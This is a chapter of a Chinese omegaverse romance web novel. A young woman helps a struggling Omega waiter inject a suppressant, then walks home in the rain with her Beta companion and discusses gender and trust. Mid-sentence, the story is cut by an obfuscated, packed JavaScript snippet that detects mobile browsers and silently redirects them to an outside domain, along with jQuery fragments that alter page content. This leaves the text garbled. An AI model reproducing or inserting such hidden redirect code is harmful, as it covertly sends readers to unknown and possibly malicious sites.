妮芙回到餐桌边,从包里拿了抑制剂装进口袋。
抬眼时注意到,亚契目不转睛地看着自己。看她一副思索的样子,他问:“发生什么了吗?”
妮芙看着他含着关切的目光,开口:“确实有一些麻烦……你也来吧。”
洗手间是公用不区分性别的,因此让他来也不算奇怪。
妮芙让他把修理中的牌子搬到门口放着,两人一起走进去。她敲了敲隔间门,说:“我回来了。”
听到是她,男生才敢发出声音。
确认他还醒着,妮芙把针管从口袋掏出来,然后从门下递过去,说:“你应该会注射吧?”
过了一会,男生伸手接过来。妮芙的视线中,出现了苍白的指尖,很明显在颤抖。
“谢谢……”
妮芙递出抑制剂后,并没有离开。而是双手抱臂,站在门口等待。她听到布料摩挲的声音,以及闷哼声,最后是针管掉在地上的响声。
微弱的呜咽之后,男生才小心翼翼地开口:“……你还在吗?”
“怎么了?”
他听上去很沮丧,“我没有力气注射,能帮帮我吗?”
果然。
妮芙一开始就猜到了,一个被发情期折磨这么长时间的Omega,声线都如此虚弱,怎么可能自己注射。但她比起主动提供帮助,更想等他开口。
毕竟这是不一样的。
她转头看了一下,亚契正站在稍远一点的地方等待着,有人靠近时,交谈几句对方就离开了。
妮芙勾勾手指,示意他上前,说:“我需要帮他注射,你站在这里吧。门口摆了牌子,再把大门锁上就不会有人靠近了。”
他说好,妮芙就又敲了敲门,说:“开门吧。”
“咔嚓”一声,门打开了。妮芙推开门,棕发Omega就靠在墙边,眼神失焦地看着她。他嘴唇苍白,脸颊却很红,有些迟钝地抬眼看过来。他似乎没有力气,有些颤抖地喘息着。
妮芙没有关门,一个是觉得空间有点逼仄,两个人有些挤。另一个……她很明显注意到,亚契正目不转睛地看着这里。
她调整了一下角度,故意让他看得更清楚。
她俯视着男生,让他转过身去,把腺体露出来。
对于Omega来说,腺体是最脆弱和关键的地方。但听到这句话,男生却顺从地转过去,低下头把后颈露出来,像是露出肚皮的猫。
“可能会有点疼,忍一下。”
妮芙柔声说着,手上毫不犹豫地把针管扎进腺体,缓缓将药剂注射进去。男生立刻发出了抽痛的声音,但很快咬着嘴唇忍了下来,眼眶红了。
“好了。”
很快注射完了,妮芙把针管拔出来,向亚契那边伸手要纸。他沉默着递过来几张,妮芙给男生手中塞了一张,说:“擦擦吧。”
也不知道说的是药剂还是眼泪。
她把针管包起来,扔在垃圾桶里。又用另一张纸擦拭被沾上药的指尖,动作缓缓,又因为学院的礼仪课而带上一点优雅。
把纸团扔进垃圾桶,她就准备离开,这时注意到男生眼睛一眨不眨地看着她,表情中带着困惑,犹豫了一下,说:“我叫安玻……可以知道你的名字吗?”
妮芙正准备踏出隔间,闻言回头。
她轻轻摇了摇头,竖起手指按在自己的唇上,是禁言的姿势。
两人的身影消失后,安玻在隔间中又呆了一阵,才恢复精神。幸好他今天的轮班已经结束,老板看他面色不好,也没有多说什么,而是很体贴地让他早点回去。
“对了,这是刚才那桌客人给你的小费。”
“看来今天你好长时间消失不见,是帮他们拿东西去了。干得不错嘛,安玻。”
“诶?好、好的老板,我会努力的。”
直到老板离开,安玻才低下头,数了数手中的钱。
一共200星币,一支抑制剂的价格。
看来他的谎言很轻易就被戳穿了。
……
走出餐厅时,夜幕已经降临了。
这里虽然在上城区,但比较偏远。不过餐厅位于商业区,到了晚上也是一片灯火通明。
微微下了点雨,亚契带了伞。两人并行着撑一把伞,向学院走去。空气中带着很湿润的青草味,妮芙的视线从伞下落出去,看见被灯光照得微亮的雨滴。
亚契突然说:“你扎针的动作很稳。”
“当然,我经常给自己注射。”妮芙没有回避这个事实,描述道:“刚才那种情况经常会发生,每次发情期到来的时候,像是发烧又像是中暑,不过都很疼就是了。”
“你之前见过处于发情期的Omega吗?”
亚契摇摇头,说:“没有。”
学校里有很多Omega,但是和他的关系
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997206|178232||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都只是距离较远的朋友关系。而且学校有医务室,只要Omega处在发情期,就会立刻得到帮助。
因此这是他第一次见到这样的场景。
刚才在洗手间看得很清楚,那个Omega半靠在隔间的墙壁上,看上去无助又痛苦。面颊通红,整个人像是从水中捞起来一样。
他在等待别人援救,等待Alpha或者等待药剂。
妮芙问:“如果再给你一次机会,你想分化成Omega吗?”
他回答:“我不知道。”
原来他会肯定地选择“想”,因为这是他原本要走上的路,可经过刚才,他才明白,可能有很多事他并不清楚。
那就无法做出选择。
他反问:“你呢?”
妮芙很肯定地说:“不想。”
“比起Omega和Alpha,我更喜欢Beta。总感觉他们更让人安心吧。”
亚契睁大了眼睛。
他以为没价值的Beta,却能让人觉得安心吗?
的确,刚才妮芙能让自己进去,陪伴在她身边,肯定有很大程度是因为——他是个Beta。闻不到信息素,不会受到Omega发情期的影响。
这是信任吗?
想到这个词,亚契的心跳都快了几分,感觉有些神奇。
……
即使亚契把大半个伞都举到了她头顶,但由于雨丝顺着斜吹的风飘进来,她的发尾还是有些湿润。
“还是淋湿了……”
妮芙用手卷起发尾抖了抖,企图自然风干,这时亚契拿着毛巾走过来,说:“姐姐,我帮你擦干。”
“好。”
不用自己动手,妮芙快乐地闭上眼睛享受。
亚契把动作放的很轻柔,柔软的发丝在他手中,像是一川黑色的瀑布。他的视线却不自觉下落,看向妮芙的后颈。
腺体微微泛红,上面似乎有未痊愈的细小疤痕。
他不是Omega,因此不清楚那是咬痕,并非注射的痕迹,只是感觉心里隐隐有些闷,像是在潮湿的天气被保鲜膜盖住一样。
亚契不自觉回想起刚才发生的事,问:“为什么不告诉他你的名字?”
他注意到,被拒绝后,男生的表情很明显变得失落。
妮芙闭着眼睛,有些昏昏欲睡,轻飘飘地说:“因为之后也不会再见了,有什么必要呢?”